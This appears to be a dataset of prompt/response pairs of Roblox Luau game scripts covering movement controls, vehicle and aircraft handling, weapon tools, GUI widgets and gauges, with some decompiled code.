		if not v19 and l__DevComputerMovementMode__18 ~= Enum.DevComputerMovementMode.Scriptable then
			warn("No character control module is associated with DevComputerMovementMode ", l__DevComputerMovementMode__18);
		end;
	end;
	if v19 then
		return v19, true;
	end;
	if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.Scriptable then
		return nil, true;
	end;
	return nil, false;
end;
function v1.SelectTouchModule(p13)
	if not l__UserInputService__4.TouchEnabled then
		return nil, false;
	end;
	local l__DevTouchMovementMode__20 = l__Players__2.LocalPlayer.DevTouchMovementMode;
	if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.UserChoice then
		local v21 = u5[l__UserGameSettings__6.TouchMovementMode];
	else
		if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.Scriptable then
			return nil, true;
		end;
		v21 = u5[l__DevTouchMovementMode__20];
	end;
	return v21, true;
end;
local u6 = v11 or v12;
local function u7(p14, p15)
	local l__CurrentCamera__22 = l__Workspace__5.CurrentCamera;
	if not l__CurrentCamera__22 then
		return p15;
	end;
	if p14:GetState() == Enum.HumanoidStateType.Swimming then
		return l__CurrentCamera__22.CFrame:VectorToWorldSpace(p15);
	end;
	local v23 = l__CurrentCamera__22.CFrame;
	if l__VRService__7.VREnabled and u6 and p14.RootPart and (p14.RootPart.CFrame.Position - v23.Position).Magnitude < 3 then
		v23 = v23 * l__VRService__7:GetUserCFrame(Enum.UserCFrame.Head);
	end;
	local v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35 = v23:GetComponents();
	if v32 < 1 and v32 > -1 then
		local v36 = v35;
		local v37 = v29;
	else
		v36 = v27;
		v37 = -v28 * math.sign(v32);
	end;
	local v38 = math.sqrt(v36 * v36 + v37 * v37);
	return Vector3.new((v36 * p15.x + v37 * p15.z) / v38, 0, (v36 * p15.z - v37 * p15.x) / v38);
end;
function v1.OnRenderStepped(p16, p17)
	if p16.activeController and p16.activeController.enabled and p16.humanoid then
		p16.activeController:OnRenderStepped(p17);
		local v39 = p16.activeController:GetMoveVector();
		local v40 = p16.activeController:IsMoveVectorCameraRelative();
		local v41 = p16:GetClickToMoveController();
		if p16.activeController ~= v41 then
			if v39.magnitude > 0 then
				v41:CleanupPath();
			else
				v41:OnRenderStepped(p17);
				v39 = v41:GetMoveVector();
				v40 = v41:IsMoveVectorCameraRelative();
			end;
		end;
		if p16.vehicleController then
			local v42, v43 = p16.vehicleController:Update(v39, v40, p16.activeControlModule == v9);
			v39 = v42;
		end;
		if v40 then
			v39 = u7(p16.humanoid, v39);
		end;
		p16.moveFunction(l__Players__2.LocalPlayer, v39, false);
		p16.humanoid.Jump = p16.activeController:GetIsJumping() or p16.touchJumpController and p16.touchJumpController:GetIsJumping();
	end;
end;
function v1.OnHumanoidSeated(p18, p19, p20)
	if p19 then
		if p20 and p20:IsA("VehicleSeat") then
			if not p18.vehicleController then
				p18.vehicleController = p18.vehicleController.new(l__Value__2);
			end;
			p18.vehicleController:Enable(true, p20);
			return;
		end;
	elseif p18.vehicleController then
		p18.vehicleController:Enable(false, p20);
	end;
end;
function v1.OnCharacterAdded(p21, p22)
	p21.humanoid = p22:FindFirstChildOfClass("Humanoid");
	while not p21.humanoid do
		p22.ChildAdded:wait();
		p21.humanoid = p22:FindFirstChildOfClass("Humanoid");
	end;
	p21:UpdateTouchGuiVisibility();
	if p21.humanoidSeatedConn then
		p21.humanoidSeatedConn:Disconnect();
		p21.humanoidSeatedConn = nil;
	end;
	p21.humanoidSeatedConn = p21.humanoid.Seated:Connect(function(p23, p24)
		p21:OnHumanoidSeated(p23, p24);
	end);
end;
function v1.OnCharacterRemoving(p25, p26)
	p25.humanoid = nil;
	p25:UpdateTouchGuiVisibility();
end;
function v1.UpdateTouchGuiVisibility(p27)
	if p27.touchGui then
		p27.touchGui.Enabled = not (not p27.humanoid) and not l__UserInputService__4.ModalEnabled;
	end;
end;
local u8 = require(script:WaitForChild("TouchJump"));
function v1.SwitchToController(p28, p29)
	if not p29 then
		if p28.activeController then
			p28.activeController:Enable(false);
		end;
		p28.activeController = nil;
		p28.activeControlModule = nil;
		return;
	end;
	if not p28.controllers[p29] then
		p28.controllers[p29] = p29.new(l__Value__2);
	end;
	if p28.activeController ~= p28.controllers[p29] then
		if p28.activeController then
			p28.activeController:Enable(false);
		end;
		p28.activeController = p28.controllers[p29];
		p28.activeControlModule = p29;
		if p28.touchControlFrame and (p28.activeControlModule == v16 or p28.activeControlModule == v15 or p28.activeControlModule == v10) then
			if not p28.controllers[u8] then
				p28.controllers[u8] = u8.new();
			end;
			p28.touchJumpController = p28.controllers[u8];
			p28.touchJumpController:Enable(true, p28.touchControlFrame);
		elseif p28.touchJumpController then
			p28.touchJumpController:Enable(false);
		end;
		p28:EnableActiveControlModule();
	end;
end;
function v1.OnLastInputTypeChanged(p30, p31)
	if u4 == p31 then
		warn("LastInputType Change listener called with current type.");
	end;
	u4 = p31;
	if u4 == Enum.UserInputType.Touch then
		local v44, v45 = p30:SelectTouchModule();
		if v45 then
			while not p30.touchControlFrame do
				wait();
			end;
			p30:SwitchToController(v44);
		end;
	elseif u3[u4] ~= nil then
		local v46 = p30:SelectComputerMovementModule();
		if v46 then
			p30:SwitchToController(v46);
		end;
	end;
	p30:UpdateTouchGuiVisibility();
end;
function v1.OnComputerMovementModeChange(p32)
	local v47, v48 = p32:SelectComputerMovementModule();
	if v48 then
		p32:SwitchToController(v47);
	end;
end;
function v1.OnTouchMovementModeChange(p33)
	local v49, v50 = p33:SelectTouchModule();
	if v50 then
		while not p33.touchControlFrame do
			wait();
		end;
		p33:SwitchToController(v49);
	end;
end;
function v1.CreateTouchGuiContainer(p34)
	if p34.touchGui then
		p34.touchGui:Destroy();
	end;
	p34.touchGui = Instance.new("ScreenGui");
	p34.touchGui.Name = "TouchGui";
	p34.touchGui.ResetOnSpawn = false;
	p34.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
	p34:UpdateTouchGuiVisibility();
	p34.touchControlFrame = Instance.new("Frame");
	p34.touchControlFrame.Name = "TouchControlFrame";
	p34.touchControlFrame.Size = UDim2.new(1, 0, 1, 0);
	p34.touchControlFrame.BackgroundTransparency = 1;
	p34.touchControlFrame.Parent = p34.touchGui;
	p34.touchGui.Parent = p34.playerGui;
end;
function v1.GetClickToMoveController(p35)
	if not p35.controllers[v16] then
		p35.controllers[v16] = v16.new(l__Value__2);
	end;
	return p35.controllers[v16];
end;
return v1.new();


Prompt: -- Inject types

Response:
local TypeDefs = require(script.Parent.TypeDefinitions)
type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast

local TestService = game:GetService("TestService")
local table = require(script.Parent.Table)

local SignalStatic = {}
SignalStatic.__index = SignalStatic
SignalStatic.__type = "Signal" -- For compatibility with TypeMarshaller
local ConnectionStatic = {}
ConnectionStatic.__index = ConnectionStatic
ConnectionStatic.__type = "SignalConnection" -- For compatibility with TypeMarshaller

export type Signal = {
	Name: string,
	Connections: {[number]: Connection},
	YieldingThreads: {[number]: BindableEvent}
}

export type Connection = {
	Signal: Signal?,
	Delegate: any,
	Index: number
}


Prompt: --[[Steering]]

Response:
	Tune.SteerInner		= 70		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 70		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .5		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .5		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree

	--Steer Gyro Tuning
	Tune.SteerD			= 1200		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 7000		-- Steering Aggressiveness


Prompt:
-- ROBLOX deviation END
-- ROBLOX deviation: exposing our custom resetSnapshotSerializers

Response: Expect.resetSnapshotSerializers = plugins.resetSerializers


Prompt:
--[[
Classes.Slider

This class creates a slider object which can be dragged for different values.

Constructors:
	new(frame [instance], axis [string])
		> Slider frames must have the following format:
			>> SliderFrame
				>>> Dragger
				>>> Background
		> axis defines if the slider is horizontal "x" or vertical "y"
	Create(axis [string])
		> Creates a slider frame from the default, simply define whether it's horizontal "x" or vertical "y".

Properties:
	Frame [instance]
		> The container frame for the slider. Can be used for positioning and resizing.
	Interval [number] [0, 1]
 		> Set this to force an interval step on the slider. For example if you only wanted steps of 1/10th then you'd write
		> Slider.Interval = 0.1
	IsActive [boolean]
		> When true the slider can be interacted with by the user, when false its values can only be set by the developer.
	TweenClick [boolean]
		> If true then when the user clicks on the slider the dragger will tween to that target. If not it will be instant.
	Inverted [boolean]
		> If true then the value of the slider will be inverted (e.g. when horizontal the right-most position will be zero and left-most 1)
		> This is useful for when you have a vertical slider as typically users envision the down-most position to be zero.

Methods:
	:Get() [number]
		> Returns the slider position from 0 to 1
	:Set(value [number], doTween [boolean]) [void]
		> Sets the slider to a specific position or closest possible if interval > 0. If doTween is true then the slider will tween to that position.
	:Destroy() [void]
		> Destroys the slider frame and all the events, etc that were running it

Events:
	.Changed:Connect(function(value [number])
		> When the slider's position changes this fires the slider's current position
	.Clicked:Connect(function(value [number])
		> When the user clicks somewhere on the slider this fires the clicked position
	.DragStart:Connect(function()
		> Fires when the user starts dragging the slider
	.DragStop:Connect(function()
		> Fires when the user stops dragging the slider
--]]


Prompt: -- Reload animation

Response:
function reload()
	if not reloading then
		reloading=true;
		updateAmmo()
		local reloadTime = tankStats.ReloadTime.Value;

		local Timer = 0

		for i = 7, 1, -1 do
			wait(reloadTime/8);
			Timer = Timer + 1

			if Timer >= 2 and Loaded == false then
				GUI.ReloadSound:Play()
				Loaded = true
			end
		end
		wait(reloadTime/4);

		if Timer >= 7 then

		GUI.Loaded.Visible = true

		Timer = 0
			reloading = false;

		end

	end
end

function fire()

	if reloading then return end;
	local APAmmo = tankStats.APAmmo;
	local HEAmmo = tankStats.HEAmmo;
	if currRound.Value == "AP" and APAmmo.Value <= 0 then return end
	if currRound.Value == "HE" and HEAmmo.Value <= 0 then return end
	GUI.Loaded.Visible = false

	TFE:FireServer('Fire',parts,currRound,APAmmo,HEAmmo,tankStats)

	reload(GUI);

end


Prompt: -- Shell physical properties

Response:
EjectionForce.PhysProperties = PhysicalProperties.new(
	10, -- Density
	10, -- Friction
	0.1, -- Elasticity
	1, -- FrictionWeight
	1 -- ElasticityWeight
)


Prompt:
--attachmentWorldCFrame = part1.CFrame * attachment.CFrame --how attachment.WorldCFrame is calculated
--inverse both sides by attachment.CFrame
--attachmentWorldCFrame * attachment.CFrame:Inverse() = part1.CFrame

Response:
local part1 = script.Parent
local attachment1 = script.Parent.Attachment
local attachment2 = script.Parent.Parent.Partw.Attachment

part1.CFrame = attachment2.WorldCFrame * attachment1.CFrame:Inverse()


Response:
local cameraPos = Vector3.new()
local cameraRot = Vector2.new()
local cameraFov = 0

local velSpring = Spring.new(VEL_STIFFNESS, Vector3.new())
local panSpring = Spring.new(PAN_STIFFNESS, Vector2.new())
local fovSpring = Spring.new(FOV_STIFFNESS, 0)


Prompt: -- find player's head pos

Response:
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	local head = vCharacter:findFirstChild("Head")
	if head == nil then return end

	local launch = head.Position + 10 * v

	local missile = Pellet:clone()

	Tool.Handle.Mesh:clone().Parent = missile

	missile.Position = launch
	missile.Velocity = v * 80

	local force = Instance.new("BodyForce")
	force.force = Vector3.new(0,40,0)
	force.Parent = missile

	if (turbo) then
		missile.Velocity = v * 100
		force.force = Vector3.new(0,45,0)
	end

	missile.StarScript.Disabled = false

	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = vCharacter
	creator_tag.Name = "creator"
	creator_tag.Parent = missile

	missile.Parent = game.Workspace

end

function rndDir()
	return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end
if loaded==true then
	loaded=false

	local targetPos = humanoid.TargetPoint
	local lookAt = (targetPos - character.Head.Position).unit

	fire(lookAt, isTurbo(character) )

	if (isTurbo(character) == true) then
		wait(.1)
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .9 + rndDir() * .1, isTurbo(character) )
		Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
		Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
		wait(.1)
		fire(lookAt * .8 + rndDir() * .2, isTurbo(character) )
		wait(.1)
	else
		wait(.3)
	end

	Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
	wait(.1)
Tool.Handle.Transparency=0
wait(.1)
	loaded=true
	end
	Tool.Enabled = true
end

script.Parent.Activated:connect(onActivated)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__Query__1 = script.Parent.Search.Query;
local l__Container__2 = script.Parent.Container;
function UpdateContainer()
	local v1 = string.lower(l__Query__1.Text);
	local v2, v3, v4 = pairs(l__Container__2:GetChildren());
	while true do
		local v5, v6 = v2(v3, v4);
		if v5 then

		else
			break;
		end;
		v4 = v5;
		if v6:IsA("ImageButton") then
			if v1 ~= "" then
				if string.find(string.lower(v6:FindFirstChild("Title").Text), v1) then
					v6.Visible = true;
				else
					v6.Visible = false;
				end;
			else
				v6.Visible = true;
			end;
		end;
	end;
end;
l__Query__1.Changed:Connect(UpdateContainer);


Prompt:
--[[
Classes.CheckboxLabel

This class creates a single checkbox label

Constructors:
	new(frame [instance])
		>
	Create(text)
		> Creates a CheckboxLabel from the text provided.

Properties:
	Frame [instance]
		> The container frame for the CheckboxLabel. Can be used for positioning and resizing.
	Button [instance]
 		> The button used to track when the user clicks on the checkbox button or not

Methods:
	:GetValue() [boolean]
		> Returns whether the checkbox is selected or not.
	:SetValue(bool [boolean]) [void]
		> Sets if the checkbox is selected or not.
	:Destroy() [void]
		> Destroys the RadioButtonLabel and all the events, etc that were running it.

Events:
	.Changed:Connect(function(bool [boolean])
		> Fired when the user clicks the checkbox.
--]]


Response:
script.Parent.OnServerEvent:Connect(function(p)
	wait(1)
	local Character = p.Character
	local Humanoid = Character.Humanoid
	local RootPart = Character.HumanoidRootPart
	local Slash1 = RS.Effects.Knives3:Clone()
	script.Attack:Play()
	script.Parent.Parent.Parent.Handle.Transparency = 0
	script.Parent.Parent.Parent.Handle.Part.Attachment.FX:Emit(15)
	Slash1.Parent = FX
	Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3)
	local BV = Instance.new("BodyVelocity",Slash1)
	BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
	BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 70
	Slash1.Touched:Connect(function(hit)
		if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then
			hit.Parent.Humanoid:TakeDamage(Damage)
			local HitEffect = Effects.HitFx.Attachment:Clone()
			local RootPart2 = hit.Parent.HumanoidRootPart
			HitEffect.Parent = RootPart2
			for _,Particles in pairs(HitEffect:GetDescendants()) do
				if Particles:IsA("ParticleEmitter") then
					Particles:Emit(Particles:GetAttribute("EmitCount"))
				end
			end
			HitEffect.Hit:Play()
			local vel = Instance.new("BodyVelocity", RootPart2)
			vel.MaxForce = Vector3.new(1,1,1) * 1000000;
			vel.Parent = RootPart2
			vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
			vel.Name  =  "SmallMoveVel"
			game.Debris:AddItem(vel,.3)
			Slash1:Destroy()
	end
		wait(1)
		BV:Destroy()
	for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do
		if Particles:IsA("ParticleEmitter") then
			Particles.Enabled = false
		end
		end
		Slash1.PointLight.Enabled = false
end)
end)


Prompt: -- EXTRA --

Response:
CS:GetInstanceAddedSignal(Tag):Connect(function(v)
	if v:IsA("Model") then
		v:SetAttribute("Status",0)
		RagdollModule:Setup(v)
	end
end)


Prompt:
-- Sets the mass of the specified part by adjusting its density so that all
-- speeders will have the same mass (using static _DENSITY and _VOLUME)

Response:
local function SetMass(part)
	local volume = part.Size.X * part.Size.Y * part.Size.Z
	local newDensity = _DENSITY * _VOLUME / volume

	-- Defaults except newDensity (density, friction, elasticity)
	part.CustomPhysicalProperties = PhysicalProperties.new(newDensity, 0.3, 0.5)
end -- SetMass()

local function HandleCollision(collidedPart, part, self)
	local RaceTrack = workspace:FindFirstChild("Racetrack")
	local EnvironmentAssets = workspace:FindFirstChild("Environment Assets")
	local Plants = EnvironmentAssets:FindFirstChild("Plants")

	if not collidedPart:IsDescendantOf(self.speeder) and not collidedPart:IsDescendantOf(RaceTrack)
	 and not collidedPart:IsDescendantOf(Plants) and not (collidedPart == workspace.SpeederSpawnLocation)
	 and not PhysicsService:CollisionGroupContainsPart(_SPEEDEROBJECTSCOLLISIONGROUP, collidedPart) then
		-- Create particle effect
		local particle = Explosion:Clone()
		particle.CFrame = part.CFrame
		particle.Parent = workspace

		character:Destroy()
		ExplosionSound:Play()

		local planeGui = PlayerGui:FindFirstChild("DesktopGui") or
			PlayerGui:FindFirstChild("ConsoleGui") or
			PlayerGui:FindFirstChild("MobileGui")
		if planeGui then
			planeGui.Enabled = false
		end

		local emitterChildren = particle:GetChildren()

		for _, child in pairs(emitterChildren) do
			-- If the child is a particle, then cause it to emit
			if child:IsA("ParticleEmitter") then
				child:Emit(10)
			end
		end

		-- Destroy particle after PARTICLE_DURATION seconds
		spawn(function()
			wait(PARTICLE_DURATION)
			particle:Destroy()
		end)
		-- Convert speeder to player
		spawn(function()
			wait(2)
			PlayerConverter:SpeederToPlayer(false)
		end)
	end
end -- handleCollisions()

local function SetupCollisionDetection(parent, self)
	for _,part in pairs(parent:GetChildren()) do
		if (part:IsA("BasePart") or part:IsA("MeshPart")) and part.Name ~= "Head" and
			part.Name ~= "UpperTorso" and part.Name ~= "Arrow" then
			part.Touched:Connect(function(collidedPart) HandleCollision(collidedPart, part, self) end)
			SetupCollisionDetection(part, self)
		end
	end
end -- setupCollisionDetection()


Prompt: --		local throttleNeeded =

Response:
		animationParts.Wings.WingFlex:FireServer()
		local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max))
		stallLine = (stallLine > 1 and 1 or stallLine)
		panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0)
		panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0))
		if (change == 1) then
			currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed)	-- Reduce "glitchy" speed
		else
			currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed)
		end
		local tax,stl = taxi(),stall()
		if ((lastStall) and (not stl) and (not tax)) then	-- Recovering from a stall:
			if ((realSpeed > -10000) and (realSpeed < 10000)) then
				currentSpeed = realSpeed
			else
				currentSpeed = (stallSpeed+1)
			end
		end
		lastStall = stl
		move.velocity = (main.CFrame.lookVector*currentSpeed)		-- Set speed to aircraft
		local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank)	-- My special equation to calculate the banking of the plane. It's pretty simple actually
		bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank)
		if (tax) then
			animationParts.Wings.WingStraight:FireServer()
			if (currentSpeed < 2) then	-- Stop plane from moving/turning when idled on ground
				move.maxForce = Vector3.new(0,0,0)
				gyro.maxTorque = Vector3.new(0,0,0)
			else
				move.maxForce = Vector3.new(math.huge,0,math.huge)	-- Taxi
				gyro.maxTorque = Vector3.new(0,math.huge,0)
				gyro.cframe = CFrame.new(main.Position,m.Hit.p)
			end
		elseif (stl) then
			move.maxForce = Vector3.new(0,0,0)	-- Stall
			gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
			gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
		else
			move.maxForce = Vector3.new(math.huge,math.huge,math.huge)	-- Fly
			gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
			gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
		end
		if ((altRestrict) and (main.Position.y < altMin)) then	-- If you have altitude restrictions and are below the minimun altitude, then make the plane explode
			plane.AutoCrash.Value = true
		end
		if main.Position.Y > 1000 then
			animationParts.Wings.WingFlex:FireServer()
		end
		local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2)))	-- My special equation to calculate the banking of the plane. It's pretty simple actually
		local pitch = (((m.ViewSizeY/2)-m.Y)/(m.ViewSizeY/2))
		local Control1 = 0.3*pitch
		local Control2 = 0.5*-bank
		local Control3 = 0.2*bank
		local Control4 = 1*bank
		local Control5 = 0.2*pitch
		local Control6 = 0.2*bank
		animationParts.ControlFE:FireServer(Control1,Control2,Control3,Control4,Control5,Control6)
		main.FE.ThrottleFE:FireServer(throttle)
		updateGui(tax,stl)	-- Keep the pilot informed!
		wait()
	end
end

function CamChange()
	if camtype == 1 then
		game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera
		workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
	elseif camtype == 2 then
		game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera
		workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
	elseif camtype == 3 then
		game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
		workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
	end
end

game:GetService("UserInputService").InputBegan:Connect(function(key, gameProcessedEvent)
	if not gameProcessedEvent then
		if key.KeyCode == Enum.KeyCode.Z then
			if camtype == 1 then
				camtype = 2
				CamChange()
			elseif camtype == 2 then
				camtype = 3
				CamChange()
			elseif camtype == 3 then
				camtype = 1
				CamChange()
			end
		end
	end
end)

function PilotIn()	-- Initial setup
	selected,script.Parent.CurrentSelect.Value = true,true
	m = player:GetMouse()
	mouseSave = m
	CamChange()
	m.Icon = "http://www.roblox.com/asset/?id=2763570264"	-- Mouse icon used in Perilous Skies
	delay(0,function() fly(m) end)	-- Basically a coroutine
	m.KeyDown:connect(function(k)
		if (not flying) then return end
		k = k:lower()
		if (k == keys.engine.key) then
			on = (not on)
			main.FE.OnFE:FireServer() -- FE
			if (not on) then
			throttle = 0
			main.FE.OffFE:FireServer() -- FE
			end
		elseif (k == keys.landing.key) then
			main.FE.GearFE:FireServer() -- FE
		elseif (k:byte() == keys.spdup.byte) then
			keys.spdup.down = true
			delay(0,function()
				while ((keys.spdup.down) and (on) and (flying)) do
					throttle = (throttle+throttleInc)
					throttle = (throttle > 1 and 1 or throttle)
					wait()
				end
			end)
		elseif (k:byte() == keys.spddwn.byte) then
			keys.spddwn.down = true
			delay(0,function()
				while ((keys.spddwn.down) and (on) and (flying)) do
					throttle = (throttle-throttleInc)
					throttle = (throttle < 0 and 0 or throttle)
					wait()
				end
			end)
		end
	end)
	m.KeyUp:connect(function(k)
		if (k:byte() == keys.spdup.byte) then
			keys.spdup.down = false
		elseif (k:byte() == keys.spddwn.byte) then
			keys.spddwn.down = false
		end
	end)
end

function deselected(forced)
	selected,script.Parent.CurrentSelect.Value = false,false
	game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
	game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
	gui.Parent = nil
	flying = false
	pcall(function()
		if on == false then
			move.maxForce = Vector3.new(0,0,0)
			if (taxi()) then
				gyro.maxTorque = Vector3.new(0,0,0)
			end
		end
	end)
	if (forced) then
		if (mouseSave) then
			mouseSave.Icon = ""	-- If you remove a tool without the actual deselect event, the icon will not go back to normal. This helps simulate it at the least
			wait()
		end
		script.Parent.Deselect1.Value = true	-- When this is triggered, the Handling script knows it is safe to remove the tool from the player
	end
end

player.Character.Humanoid.Jumping:Connect(deselected)

script.Parent.Deselect0.Changed:connect(function()	-- When you get out of the seat while the tool is selected, Deselect0 is triggered to True
	if (script.Parent.Deselect0.Value) then
		deselected(true)
	end
end)

PilotIn()


Prompt:
-- NOTE: To me, this appears a bit 'hackish' so I can't
-- promise that it will always work!

Response:
local noJump = script.NoJump:Clone()
	script.NoJump:Destroy()

function CharacterSpawned(char)
	local noJ = noJump:Clone()
	noJ.Parent = char
	Delay(0.2, function()
		noJ.Disabled = false
	end)
end

function PlayerEntered(player)
	player.CharacterAdded:connect(CharacterSpawned)
end

for _,v in pairs(game.Players:GetPlayers()) do PlayerEntered(v) end
game.Players.PlayerAdded:connect(PlayerEntered)


Prompt:
--[=[
	Cleans up the service bag and all services that have been
	initialized in the service bag.
]=]

Response:
function ServiceBag:Destroy()
	local super = getmetatable(ServiceBag)

	self._destroying:Fire()

	local services = self._services
	local key, service = next(services)
	while service ~= nil do
		services[key] = nil
		if service.Destroy then
			service:Destroy()
		end
		key, service = next(services)
	end

	super.Destroy(self)
end

return ServiceBag


Prompt:
--[[**
	<description>
	Saves the data to the data store. Called when a player leaves.
	</description>
**--]]

Response:
function DataStore:Save()
	local success, result = self:SaveAsync():await()

	if success then
		print("saved", self.Name)
	else
		error(result)
	end
end


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
		v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
	end
end

for i=0,revEnd*2 do
	local ln = gauges.ln:clone()
	ln.Parent = gauges.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = gauges.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = gauges.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
	local bln = gauges.bln:clone()
	bln.Parent = blns
	bln.Rotation = 45+270*(i/12)
	if i%2==0 then
		bln.Frame.Size = UDim2.new(0,2,0,7)
		bln.Frame.Position = UDim2.new(0,-1,0,40)
	else
		bln.Frame.Size = UDim2.new(0,3,0,5)
	end
	bln.Num:Destroy()
	bln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",gauges.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = gauges.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 14
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if isOn.Value then
	gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

isOn.Changed:connect(function()
	if isOn.Value then
